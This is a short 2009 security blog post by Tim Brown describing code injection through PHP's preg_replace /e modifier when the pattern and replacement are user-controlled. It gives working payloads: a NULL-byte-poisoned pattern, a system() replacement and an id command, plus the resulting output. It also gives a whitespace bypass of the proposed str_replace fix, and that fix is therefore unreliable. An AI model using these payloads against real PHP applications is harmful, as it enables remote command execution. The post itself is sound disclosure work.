2009-02-23 23:11:08

By Tim Brown

Calling preg_replace($pattern, $replacement, $subject) et al, where $pattern and $replacement are under user control should be considered dangerous. Witness the following:

<?php
preg_replace("/" . $pattern . "/", $replacement, $subject);
?>

Our attacker passes a $pattern of "(.*)/e\x00", a $replacement of "system('\1')" and a $subject of "id". The following results:

$ php test.php
uid=1000(user) gid=1000(user) groups=20(dialout),24(cdrom),25(floppy),29 (audio),44(video),46(plugdev),1000(user)

Note two things... you need to NULL byte poison the $pattern, so that the "/" inserted by the code is ignored and also, you don't necessarily need control of subject. Any arbitrary PHP in the $replacement will be executed. To fix this you need to filter $pattern first (not using preg_replace :)) and change "/e" to something else. For example:

$pattern = str_replace("/e", "\/e", $pattern);

Update: Gareth Heyes pointed out this can be passed with: $pattern = "(.*)/ e\0";

Mood: Amused

Music: Nothing playing right now..

You are unknown, comment